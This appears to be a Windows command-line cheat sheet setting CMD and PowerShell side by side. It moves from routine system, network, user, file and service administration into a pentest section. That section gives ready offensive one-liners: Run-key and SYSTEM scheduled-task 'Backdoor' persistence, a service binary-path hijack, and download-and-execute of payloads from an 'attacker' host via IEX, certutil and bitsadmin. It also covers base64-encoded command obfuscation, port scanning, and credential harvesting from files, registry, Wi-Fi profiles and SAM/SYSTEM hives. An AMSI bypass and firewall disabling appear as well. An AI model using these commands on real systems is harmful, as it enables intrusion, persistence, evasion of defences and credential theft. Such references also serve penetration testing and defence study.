kavklaw@llm $ cat windows-commands.md
CMD and PowerShell side by side — system info, networking, users, services, registry, firewall, and pentest one-liners.
systeminfo Full system details (OS, hotfixes, NIC)
systeminfo | findstr /B /C:"OS" OS name and version
hostname Computer name
ver Windows version
wmic os get caption,version,buildnumber OS info via WMI
wmic qfe list brief List installed patches
set All environment variables
echo %COMPUTERNAME% Machine name
echo %USERNAME% Current user
echo %USERDOMAIN% Domain nameGet-ComputerInfo Full system info
Get-ComputerInfo | Select OsName,OsVersion OS name + version
$env:COMPUTERNAME Machine name
[System.Environment]::OSVersion OS version object
Get-HotFix Installed patches
Get-HotFix | Sort InstalledOn -Desc | Select -First 10 Recent patches
Get-CimInstance Win32_OperatingSystem WMI OS infoipconfig All adapters summary
ipconfig /all Detailed adapter info (DNS, DHCP, MAC)
ipconfig /displaydns Local DNS cache
ipconfig /flushdns Flush DNS cache
ipconfig /release && ipconfig /renew Release and renew DHCP
netstat -ano All connections with PIDs
netstat -an | findstr LISTENING Listening ports only
netstat -an | findstr :445 Check specific port
netstat -b Show executable per connection (admin)
arp -a ARP table (IP → MAC)
nslookup domain.com DNS lookup
nslookup -type=mx domain.com MX record lookup
nslookup domain.com 8.8.8.8 Query specific DNS server
route print Routing table
tracert 10.10.10.1 Trace route
pathping 10.10.10.1 Combined ping + tracert
ping -n 4 10.10.10.1 Send 4 pings
ping -t 10.10.10.1 Continuous ping (Ctrl+C to stop)Get-NetAdapter List network adapters
Get-NetIPAddress IP addresses on all adapters
Get-NetIPConfiguration Detailed IP config
Get-DnsClientCache DNS cache
Clear-DnsClientCache Flush DNS
Get-NetTCPConnection All TCP connections
Get-NetTCPConnection -State Listen Listening only
Get-NetTCPConnection | Where LocalPort -eq 445
Get-NetUDPEndpoint UDP endpoints
Get-NetNeighbor ARP table
Get-NetRoute Routing table
Resolve-DnsName domain.com DNS lookup
Resolve-DnsName -Type MX domain.com MX lookup
Test-NetConnection 10.10.10.1 -Port 80 Test TCP connection
Test-Connection 10.10.10.1 -Count 4 Pingwhoami Current user
whoami /priv Current user's privileges
whoami /groups Current user's group memberships
whoami /all Everything about current user
net user List all local users
net user username Details of specific user
net user username password /add Create local user
net user username /delete Delete user
net user username /active:no Disable account
net localgroup List all local groups
net localgroup Administrators Members of Administrators
net localgroup Administrators user /add Add user to Administrators
net localgroup "Remote Desktop Users" RDP-allowed users
net accounts Password policy
net session Active SMB sessions (admin)
net use Mapped drives / SMB connections
net use \\10.10.10.1\share Connect to SMB share
net use Z: \\server\share /user:dom\usr Map drive with credsGet-LocalUser List local users
Get-LocalUser | Where Enabled -eq $true Active users only
New-LocalUser -Name "newuser" -Password (ConvertTo-SecureString "P@ss" -AsPlainText -Force)
Remove-LocalUser -Name "newuser" Delete user
Disable-LocalUser -Name "username" Disable account
Get-LocalGroup List local groups
Get-LocalGroupMember Administrators Admins group members
Add-LocalGroupMember -Group "Administrators" -Member "user"
# Domain (Active Directory, requires RSAT)
Get-ADUser -Filter * | Select Name,SamAccountName
Get-ADUser -Identity username -Properties *
Get-ADGroup -Filter * | Select Name
Get-ADGroupMember "Domain Admins"
Get-ADComputer -Filter * | Select Name,DNSHostNamedir List directory
dir /a Include hidden files
dir /s /b *.txt Recursive search for .txt files
dir /o:-d Sort by date descending
type file.txt Display file contents
copy file.txt backup.txt Copy file
copy /Y src dst Copy without confirmation
xcopy /s /e /h src dst Copy with subdirs + hidden
robocopy src dst /MIR Mirror directories (powerful)
move file.txt C:\temp\ Move file
ren oldname.txt newname.txt Rename
del file.txt Delete file
del /f /q file.txt Force delete, quiet
rd /s /q dir Remove directory tree
tree Display directory tree
tree /f Include files in tree
attrib file.txt Show file attributes
attrib +h file.txt Set hidden attribute
icacls file.txt Show NTFS permissions
icacls file.txt /grant user:F Grant full controlGet-ChildItem List directory (alias: ls, dir, gci)
Get-ChildItem -Force Include hidden files
Get-ChildItem -Recurse -Filter "*.txt" Recursive search
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where Name -like "*password*"
Get-Content file.txt Read file (alias: cat, type, gc)
Get-Content file.txt -Tail 20 Last 20 lines
Get-Content file.txt | Select-String "password" Grep equivalent
Copy-Item file.txt backup.txt Copy file
Copy-Item -Recurse dir\ dest\ Copy directory
Move-Item file.txt C:\temp\ Move file
Rename-Item old.txt new.txt Rename
Remove-Item file.txt Delete file
Remove-Item -Recurse -Force dir\ Delete directory tree
New-Item -ItemType File -Path file.txt Create file
New-Item -ItemType Directory -Path dir Create directory
Get-Acl file.txt | Format-List NTFS permissionssc query List all services
sc query state= all All services (running + stopped)
sc query servicename Query specific service
sc qc servicename Service configuration (binary path!)
sc start servicename Start service
sc stop servicename Stop service
sc config svc binpath= "C:\evil.exe" Change binary path (privesc!)
net start List running services
net start servicename Start service
net stop servicename Stop service
tasklist List running processes
tasklist /svc Processes with services
tasklist /v Verbose (memory, status)
tasklist | findstr /i "process" Find specific process
taskkill /PID 1234 /F Kill process by PID
taskkill /IM process.exe /F Kill by name
wmic service list brief WMI service listing
wmic service where name="svc" get pathname Get service binary path
wmic process list brief WMI process listingGet-Service List all services
Get-Service | Where Status -eq Running Running services only
Get-Service servicename Query specific service
Get-CimInstance Win32_Service | Select Name,PathName,StartMode
Start-Service servicename Start service
Stop-Service servicename Stop service
Restart-Service servicename Restart
Get-Process List processes (alias: ps)
Get-Process | Sort CPU -Descending | Select -First 10 Top CPU consumers
Stop-Process -Id 1234 -Force Kill by PID
Stop-Process -Name "process" -Force Kill by name# Query registry
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query "HKLM\SYSTEM\CurrentControlSet\Services\servicename"
reg query HKLM /s /f "password" Search registry for "password"
# Modify registry
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\evil.exe"
reg delete HKCU\SOFTWARE\...\Run /v Backdoor /f
# Common pentest registry locations
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" Autologon creds
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" SNMP community strings
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions /s Saved PuTTY sessions
reg query HKLM\SOFTWARE\RealVNC /s VNC passwordsGet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path "HKCU:\...\Run" -Name "Backdoor" -Value "C:\evil.exe"
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Backdoor"
# Recurse through registry
Get-ChildItem "HKLM:\SOFTWARE" -Recurse -ErrorAction SilentlyContinue |
Get-ItemProperty | Where-Object { $_ -match "password" }schtasks /query /fo LIST /v List all tasks (verbose)
schtasks /query /tn "taskname" Query specific task
# Create task (runs as SYSTEM!)
schtasks /create /tn "Backdoor" /tr "C:\evil.exe" /sc onlogon /ru SYSTEM
schtasks /create /tn "Recon" /tr "cmd /c whoami > C:\out.txt" /sc once /st 14:00
schtasks /run /tn "taskname" Run task immediately
schtasks /delete /tn "taskname" /f Delete task
# AT command (legacy, deprecated)
at 14:00 /every:M,T,W cmd /c "C:\script.bat"Get-ScheduledTask List all tasks
Get-ScheduledTask | Where State -eq Ready
Get-ScheduledTaskInfo -TaskName "taskname" Last run result
# Create scheduled task
$action = New-ScheduledTaskAction -Execute "C:\evil.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "Backdoor" -Action $action -Trigger $trigger -User "SYSTEM"
Unregister-ScheduledTask -TaskName "Backdoor" -Confirm:$false
Start-ScheduledTask -TaskName "taskname"netsh advfirewall show allprofiles Show firewall status
netsh advfirewall set allprofiles state off Disable firewall (admin)
netsh advfirewall set allprofiles state on Enable firewall
# Firewall rules
netsh advfirewall firewall show rule name=all List all rules
netsh advfirewall firewall show rule name="rule name"
# Add allow rule
netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP localport=4444
# Add block rule
netsh advfirewall firewall add rule name="Block Outbound" dir=out action=block protocol=TCP remoteport=80
# Delete rule
netsh advfirewall firewall delete rule name="Allow 4444"
# Export/import firewall config
netsh advfirewall export "C:\fw-backup.wfw"
netsh advfirewall import "C:\fw-backup.wfw"Get-NetFirewallProfile Firewall profile status
Set-NetFirewallProfile -All -Enabled False Disable firewall
Get-NetFirewallRule List all rules
Get-NetFirewallRule -Enabled True Active rules only
Get-NetFirewallRule | Where DisplayName -like "*Remote*"
New-NetFirewallRule -DisplayName "Allow 4444" -Direction Inbound -Protocol TCP -LocalPort 4444 -Action Allow
Remove-NetFirewallRule -DisplayName "Allow 4444"
# Check what rules apply to a port
Get-NetFirewallPortFilter | Where LocalPort -eq 445 |
Get-NetFirewallRule | Select DisplayName,Enabled,Direction,Action# Download and execute in memory (fileless)
IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')
IEX (iwr http://attacker/script.ps1 -UseBasicParsing).Content
# Download to disk
(New-Object Net.WebClient).DownloadFile('http://attacker/file.exe','C:\temp\file.exe')
Invoke-WebRequest -Uri http://attacker/file.exe -OutFile C:\temp\file.exe
certutil -urlcache -split -f http://attacker/file.exe C:\temp\file.exe # CMD fallback
bitsadmin /transfer job http://attacker/file.exe C:\temp\file.exe # CMD fallback# Encode command for -EncodedCommand
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://attacker/r.ps1")'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
# Run encoded command
powershell -EncodedCommand SQBFAF...base64...
powershell -ep bypass -nop -enc SQBFAF...
# Encode/decode files
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\file.exe"))
[IO.File]::WriteAllBytes("C:\out.exe",[Convert]::FromBase64String($b64string))
# CMD: certutil base64
certutil -encode input.exe output.b64
certutil -decode output.b64 input.exe# Quick port scan (single host)
1..1024 | ForEach { echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.1",$_)) "$_ open" } 2>$null
# Better: with timeout
$ports = 21,22,23,25,53,80,88,110,135,139,143,389,443,445,636,1433,3306,3389,5432,5985,8080
foreach ($p in $ports) {
$t = New-Object Net.Sockets.TcpClient
if ($t.ConnectAsync("10.10.10.1",$p).Wait(500)) { "$p open" }
$t.Close()
}
# Ping sweep
1..254 | ForEach { Test-Connection -Count 1 -Quiet -ComputerName "10.10.10.$_" } | Where { $_ }# Processes with paths (find vulnerable services)
Get-Process | Select Id,ProcessName,Path | Format-Table -AutoSize
Get-CimInstance Win32_Process | Select ProcessId,Name,CommandLine
# Unquoted service paths (privesc vector)
Get-CimInstance Win32_Service | Where {
$_.PathName -notmatch '^"' -and
$_.PathName -match '\s' -and
$_.PathName -notmatch 'system32'
} | Select Name,PathName,StartMode
# Services running as SYSTEM with writable binary
Get-CimInstance Win32_Service | Where StartName -match "LocalSystem" |
Select Name,PathName
# Find writable directories in PATH
$env:PATH -split ';' | ForEach {
$acl = Get-Acl $_ -ErrorAction SilentlyContinue
if ($acl) { "$_ → $($acl.Access | Where {$_.FileSystemRights -match 'Write'} | Select -First 1)" }
}# Search files for passwords
Get-ChildItem -Recurse -Path C:\ -Include *.txt,*.xml,*.ini,*.config -ErrorAction SilentlyContinue |
Select-String -Pattern "password|passwd|pwd|credentials" -CaseSensitive:$false
# Saved Wi-Fi passwords
netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear
# Credential Manager
cmdkey /list
rundll32.exe keymgr.dll,KRShowKeyMgr
# SAM/SYSTEM backup (if accessible)
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system# Shares
net share
Get-SmbShare
# Check if PowerShell history exists
Get-Content (Get-PSReadLineOption).HistorySavePath
# Installed software
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select DisplayName,DisplayVersion | Sort DisplayName
# Startup programs
Get-CimInstance Win32_StartupCommand | Select Name,Command,Location
# AntiVirus status
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
# AMSI bypass (may be flagged — for educational purposes)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Execution policy bypass
powershell -ep bypass -File script.ps1
Set-ExecutionPolicy Bypass -Scope Process